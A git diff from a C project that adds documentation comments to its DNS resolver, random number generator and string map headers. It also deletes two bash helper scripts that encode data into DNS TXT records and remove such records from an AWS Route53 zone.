0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
@@ -113,6 +147,7 @@ struct prne_resolv_rr {
#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B \
0xb9, 0xe4, 0xa9, 0x09, 0x00, 0x00, 0x00, 0x00,\
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+// The concatenated byte array of the name servers above
#define PRNE_RESOLV_NS_POOL_IPV4 {\
PRNE_RESOLV_NS_IPV4_GOOGLE_A,\
PRNE_RESOLV_NS_IPV4_GOOGLE_B,\
@@ -124,6 +159,9 @@ struct prne_resolv_rr {
PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\
}
+/* The IPv6 addresses of the popular public name servers for use in array
+ * initialiser lists.
+ */
#define PRNE_RESOLV_NS_IPV6_GOOGLE_A \
0x20, 0x01, 0x48, 0x60, 0x48, 0x60, 0x00, 0x00,\
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88
@@ -148,6 +186,7 @@ struct prne_resolv_rr {
#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B \
0x2a, 0x0d, 0x2a, 0x00, 0x00, 0x02, 0x00, 0x00,\
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02
+// The concatenated byte array of the name servers above
#define PRNE_RESOLV_NS_POOL_IPV6 {\
PRNE_RESOLV_NS_IPV6_GOOGLE_A,\
PRNE_RESOLV_NS_IPV6_GOOGLE_B,\
@@ -159,60 +198,177 @@ struct prne_resolv_rr {
PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B\
}
-/* Default Nameserver Pools
-*
-* For testing only. Referencing these will increase the size of the binary.
-*/
+/* The default name server pools
+ * These are for testing purposes only. Referencing these variables will
+ * increase the size of the binary significantly as IPv4 addresses are not
+ * stored as a series of 4-byte-elements.
+ */
extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV4_POOL;
extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV6_POOL;
-// honor bind-utils' choice of words
-#define PRNE_RESOLV_RCODE_NOERROR 0
-#define PRNE_RESOLV_RCODE_FORMERR 1
-#define PRNE_RESOLV_RCODE_SERVFAIL 2
-#define PRNE_RESOLV_RCODE_NXDOMAIN 3
-#define PRNE_RESOLV_RCODE_NOTIMP 4
-#define PRNE_RESOLV_RCODE_REFUSED 5
-
-#define PRNE_RESOLV_RTYPE_A 1
-#define PRNE_RESOLV_RTYPE_NS 2
-#define PRNE_RESOLV_RTYPE_CNAME 5
-#define PRNE_RESOLV_RTYPE_SOA 6
-#define PRNE_RESOLV_RTYPE_PTR 12
-#define PRNE_RESOLV_RTYPE_MX 15
-#define PRNE_RESOLV_RTYPE_TXT 16
-#define PRNE_RESOLV_RTYPE_AAAA 28
+/* The response codes as per RFC 1035 4.1.1
+ * bind-utils' choice of words are honoured.
+ */
+#define PRNE_RESOLV_RCODE_NOERROR 0 // No error condition
+#define PRNE_RESOLV_RCODE_FORMERR 1 // Format error
+#define PRNE_RESOLV_RCODE_SERVFAIL 2 // Server failure
+#define PRNE_RESOLV_RCODE_NXDOMAIN 3 // Name Error
+#define PRNE_RESOLV_RCODE_NOTIMP 4 // Not Implemented
+#define PRNE_RESOLV_RCODE_REFUSED 5 // Refused
+// The DNS record types as per RFC 1035 3.2.2 and RFC 3596
+#define PRNE_RESOLV_RTYPE_A 1 // A host address
+#define PRNE_RESOLV_RTYPE_NS 2 // An authoritive name server
+#define PRNE_RESOLV_RTYPE_CNAME 5 // The canonical name for an alias
+// Marks the start of a zone of authority
+#define PRNE_RESOLV_RTYPE_SOA 6
+#define PRNE_RESOLV_RTYPE_PTR 12 // A domain name pointer
+#define PRNE_RESOLV_RTYPE_MX 15 // Mail exchange
+#define PRNE_RESOLV_RTYPE_TXT 16 // text strings
+#define PRNE_RESOLV_RTYPE_AAAA 28 // A host address (IPv6)
+/**
+ * \brief Allocate resources and start an instance of the resolv worker
+ * \param wkr The initialised worker object
+ * \param ctr_drbg The CTR DRBG object for SSL connections. The object has to be
+ * valid until the worker is freed.
+ * \param pool_v4 The IPv4 name server pool
+ * \param pool_v6 The IPv6 name server pool
+ * \return A handle to the instasnce
+ * \retval NULL with \c errno set to \c EINVAL if \p wkr or \p ctr_drbg is
+ * passed NULL, or one of the name server pools is empty
+ * \retval NULL with \c errno set to \c ENOMEM on memory allocation error
+ */
prne_resolv_t *prne_alloc_resolv (
prne_worker_t *wkr,
mbedtls_ctr_drbg_context *ctr_drbg,
const prne_resolv_ns_pool_t pool_v4,
const prne_resolv_ns_pool_t pool_v6);
+/**
+ * \brief Queue A or AAAA query
+ * \param ctx The worker handle
+ * \param name The domain name of the host
+ * \param ipv The Internet Protocol version. \c PRNE_IPV_4 for A and
+ * \c PRNE_IPV_6 for AAAA.
+ * \param cv The condition variable for result notification. The objects must be
+ * valid until \p out is freed (optional)
+ * \param out The poiner to an instance of the query operation promise object
+ * \retval true on success
+ * \retval false with \c errno set to \c ECANCELED if the worker is finalising
+ * \retval false with \c errno set to \c ENOMEM on memory allocation error
+ * \note \p out is freed using \c prne_resolv_free_prm() before being set up by
+ * the function. Therefore, the object has to be initialised using
+ * \c prne_resolv_init_prm()
+ */
bool prne_resolv_prm_gethostbyname (
prne_resolv_t *ctx,
const char *name,
const prne_ipv_t ipv,
prne_pth_cv_t *cv,
prne_resolv_prm_t *out);
+/**
+ * \brief Queue TXT query
+ * \param ctx The worker handle
+ * \param name The domain name of the host
+ * \param cv The condition variable for result notification. The objects must be
+ * valid until \p out is freed (optional)
+ * \param out The poiner to an instance of the query operation promise object
+ * \retval true on success
+ * \retval false with \c errno set to \c ECANCELED if the worker is finalising
+ * \retval false with \c errno set to \c ENOMEM on memory allocation error
+ * \note \p out is freed using \c prne_resolv_free_prm() before being set up by
+ * the function. Therefore, the object has to be initialised using
+ * \c prne_resolv_init_prm()
+ */
bool prne_resolv_prm_gettxtrec (
prne_resolv_t *ctx,
const char *name,
prne_pth_cv_t *cv,
prne_resolv_prm_t *out);
+/**
+ * \brief Initialise the name server pool object
+ * \note Initialises the members of \p pool to initial values. Prepares \p pool
+ * so that it can be freed using \c prne_resolv_free_ns_pool()
+ */
void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool);
+/**
+ * \brief Free the resources allocated for the name server pool object
+ * \param pool The pointer to the object that has been initialised using
+ * \c prne_resolv_init_ns_pool()
+ */
void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool);
+/**
+ * \brief Allocate memory for the name server pool object
+ * \param pool The pointer to the object
+ * \param cnt The new number of elements
+ * \return true on successful allocation
+ * \return false on failure and \c errno set to \c ENOMEM
+ */
bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt);
+/**
+ * \brief Make a shallow copy of the name server pool object with the specified
+ * ownership flag. This is a convenience function for making shallow copy of
+ * the object that is shared with the multiple instances of the resolv worker
+ * \param pool The source object
+ * \param ownership The ownership flag of the new copy
+ * \return The new shallow copy
+ */
prne_resolv_ns_pool_t prne_resolv_own_ns_pool(
const prne_resolv_ns_pool_t *pool,
const bool ownership);
+/**
+ * \brief Initialise the query operation promise object
+ * \note Initialises the members of \p prm to initial values. Prepares \p prm so
+ * that it can be freed using \c prne_resolv_free_prm()
+ */
void prne_resolv_init_prm (prne_resolv_prm_t *prm);
+/**
+ * \brief Free the resources allocated for the query operation promise object
+ * \param prm The pointer to the object that has been initialised using
+ * \c prne_resolv_init_prm()
+ */
void prne_resolv_free_prm (prne_resolv_prm_t *prm);
+/**
+ * \brief Initialise the query operation future object
+ * \note Initialises the members of \p fut to initial values. Prepares \p fut so
+ * that it can be freed using \c prne_free_resolv_fut()
+ */
void prne_init_resolv_fut (prne_resolv_fut_t *fut);
+/**
+ * \brief Free the resources allocated for the query operation future object
+ * \param fut The pointer to the object that has been initialised using
+ * \c prne_init_resolv_fut()
+ */
void prne_free_resolv_fut (prne_resolv_fut_t *fut);
+/**
+ * \brief Initialise the query resource record
+ * \note Initialises the members of \p rr to initial values. Prepares \p rr so
+ * that it can be freed using \c prne_free_resolv_rr()
+ */
void prne_init_resolv_rr (prne_resolv_rr_t *rr);
+/**
+ * \brief Free the resources allocated for the query resource record
+ * \param rr The pointer to the object that has been initialised using
+ * \c prne_init_resolv_rr()
+ */
void prne_free_resolv_rr (prne_resolv_rr_t *rr);
+
+/**
+ * \brief Convert the enum value to a string
+ * \return The pointer to the string from the read-only static string pool.
+ * \retval NULL if \p qr is out of bounds and \c errno set to \c EINVAL
+ */
const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr);
+/**
+ * \brief Convert the enum value to a string
+ * \return The pointer to the string from the read-only static string pool.
+ * \retval NULL if \p rc is out of bounds and \c errno set to \c EINVAL
+ */
const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc);
+/**
+ * \brief Convert the enum value to a string
+ * \return The pointer to the string from the read-only static string pool.
+ * \retval NULL if \p rrt is out of bounds and \c errno set to \c EINVAL
+ */
const char *prne_resolv_rrtype_tostr (const uint16_t rrt);
diff --git a/src/rnd.h b/src/rnd.h
index 632eab3..b414081 100644
--- a/src/rnd.h
+++ b/src/rnd.h
@@ -1,3 +1,6 @@
+/** \file
+ * \brief The pseudorandom number generator interface
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -24,24 +27,56 @@
#include <stddef.h>
#include <stdbool.h>
+/**
+ * \brief The fixed byte length of the seed data for WELL512
+ */
#define PRNE_RND_WELL512_SEEDLEN 64
+/**
+ * \brief The PRNG engine object
+ */
struct prne_rnd {
- void *ctx;
- void (*free_ctx_f)(void*);
+ void *ctx; // The opaque context
+ void (*free_ctx_f)(void*); // The function for freeing the opaque context
+ // The generator function
bool (*random)(void*, uint8_t *buf, size_t len);
};
+/* Aliases and forward declarations */
typedef struct prne_rnd prne_rnd_t;
+/**
+ * \brief Initialise the PRNG engine object
+ * \note Initialises the members of \p p to initial values. Prepares \p p so
+ * that it can be freed using \c prne_free_rnd()
+ */
void prne_init_rnd (prne_rnd_t *p);
+/**
+ * \brief Free the resources allocated for the PRNG engine object
+ * \param p The pointer to the object that has been initialised using
+ * \c prne_init_rnd()
+ */
void prne_free_rnd (prne_rnd_t *p);
+/**
+ * \brief Generate random numbers using the engine
+ * \param p The pointer to the engine object
+ * \param[out] buf The buffer for random number output
+ * \param len The requested byte length of random numbers
+ * \retval true on success
+ * \retval false on failure. The underlying engine may set \c errno to describe
+ * the nature of the error
+ */
bool prne_rnd (prne_rnd_t *p, uint8_t *buf, const size_t len);
-/*
-* is_len should be 64 bytes(512 bits).
-*/
+/**
+ * \brief Allocate resources to set up the object as an instance of the WELL512
+ * PRNG engine
+ * \param p The poiner to the object
+ * \param is The seed data. Must be 64 bytes(512 bits) or more
+ * \retval true on success
+ * \retval false on memory allocation failure, \c errno set to \c ENOMEM
+ */
bool prne_rnd_alloc_well512 (
prne_rnd_t *p,
const uint8_t *is);
diff --git a/src/strmap.h b/src/strmap.h
index 3ffacbd..74a6956 100644
--- a/src/strmap.h
+++ b/src/strmap.h
@@ -1,3 +1,7 @@
+/** \file
+ * \brief The string map implementation
+ * \note The C equivalent of \c std::map<std::string,uintptr_t>
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -25,29 +29,76 @@
#include <stdint.h>
+/* Aliases and forward declarations */
typedef struct prne_strmap prne_strmap_t;
typedef struct prne_strmap_tuple prne_strmap_tuple_t;
typedef uintptr_t prne_strmap_val_t;
+// The string map object
struct prne_strmap {
- prne_strmap_tuple_t *tbl;
- size_t size;
+ prne_strmap_tuple_t *tbl; // The table array sorted in ascending order
+ size_t size; // The number of elements in the table
};
+// The tuple object
struct prne_strmap_tuple {
const char *key;
prne_strmap_val_t val;
};
+/**
+ * \brief Initialise the string map object
+ * \note Initialises the members of \p map to initial values. Prepares \p map so
+ * that it can be freed using \c prne_free_strmap()
+ */
void prne_init_strmap (prne_strmap_t *map);
+/**
+ * \brief Free the resources allocated for the string map object
+ * \param map The pointer to the object that has been initialised using
+ * \c prne_init_strmap()
+ */
void prne_free_strmap (prne_strmap_t *map);
+/**
+ * \brief Clear the elements of the string map object.
+ * \param s The pointer to the string map object.
+ * \warning The function call may have the exact same effect as
+ * \c prne_free_strmap() but \c prne_free_strmap() must always be used to free
+ * the resources allocated for the object.
+ */
void prne_strmap_clear (prne_strmap_t *map);
+/**
+ * \brief Insert a tuple into the string map object.
+ * \param im The pointer to the string map object.
+ * \param key The key of the new tuple.
+ * \param val The value of the new tuple.
+ * \return The pointer to the new tuple allocated in the map. The pointer is
+ * valid as long as the map object remains unmodified.
+ * \retval NULL if memory allocation error has occurred and \c errno is set to
+ * \c ENOMEM
+ * \note Calling the function invalidates the pointers previously returned by
+ * other functions.
+ */
const prne_strmap_tuple_t *prne_strmap_insert (
prne_strmap_t *map,
const char* key,
const prne_strmap_val_t val);
+/**
+ * \brief Erase the tuple with the \p key from the string map object.
+ * \param im The pointer to the string map object.
+ * \param key The key of the tuple to erase.
+ * \note Calling the function invalidates the pointers previously returned by
+ * other functions.
+ */
void prne_strmap_erase (prne_strmap_t *map, const char* key);
+/**
+ * \brief Look up the tuple with \p key in the string map object.
+ * \param im The pointer to the string map object.
+ * \param key The key to look for.
+ * \return The pointer to the tuple in the map. The pointer is valid as long as
+ * the map object remains unmodified.
+ * \retval NULL if the tuple with \p key is not found.
+ */
const prne_strmap_tuple_t *prne_strmap_lookup (
prne_strmap_t *map,
const char* key);
diff --git a/src/txtrec-del.sh b/src/txtrec-del.sh
deleted file mode 100755
index 72bc2d7..0000000
--- a/src/txtrec-del.sh
+++ /dev/null
@@ -1,85 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-ARR_HOOKS="
- aws
-"
-
-if [ $# -lt 2 ]; then
- echo "Usage: $0 <head rec> <hook> <zone id>
-Hooks:" >&2
- for h in $ARR_HOOKS; do
- echo -e "\t$h"
- done
-
- exit 2
-fi
-
-HEAD_REC="$1"
-HOOK="$2"
-ZONE_ID="$3"
-
-aws_param () {
- cat << EOF
-{
- "Changes": [
- {
- "Action": "DELETE",
- "ResourceRecordSet": $1
- }
- ]
-}
-EOF
-}
-
-hook_aws () {
- local tmpfile=`mktemp --tmpdir txtrec-del.XXXXXXXXXX`
-
- aws route53 list-resource-record-sets\
- --hosted-zone-id "$ZONE_ID" > "$tmpfile"
- local nb_rec=`jq ".ResourceRecordSets | length" "$tmpfile"`
- local escaped_name=$(echo "$HEAD_REC" | sed -e s/\\./\\\\./g)
-
- for (( i = 0; i < nb_rec; i += 1 )); do
- local rec=$(jq ".ResourceRecordSets[$i]" "$tmpfile")
- jq ".ResourceRecordSets[$i].Name" "$tmpfile" |
- egrep -i "\"([0-9a-f]+\.)?$escaped_name\.?\""
- if [ $? -eq 0 ]; then
- aws route53 change-resource-record-sets\
- --hosted-zone-id "$ZONE_ID"\
- --change-batch "$(aws_param "$rec")"
- fi
- done
-
- rm -f "$tmpfile"
-}
-
-"hook_$HOOK" "$HEAD_REC"
-
-i=0
-while true; do
- "hook_$HOOK" $i."$HEAD_REC"
- if [ $? -ne 0 ]; then
- break
- fi
- let i=i+1
-done
diff --git a/src/txtrec-enc.sh b/src/txtrec-enc.sh
deleted file mode 100755
index 6d5f8e7..0000000
--- a/src/txtrec-enc.sh
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-if [ $# -lt 1 ]; then
- echo "Usage: $0 <prefix>" >&2
- exit 2
-fi
-
-set -e
-cnt=0
-while true; do
- rec="$(dd bs=189 count=1 status=none | base64 -w0)"
- if [ -z "$rec" ]; then
- break
- fi
-
- printf "%08X%s %s\n" $cnt "$1" "$rec"
- let "cnt += 1"
-done
-
-printf "\n%08x%s\n" $cnt "$1"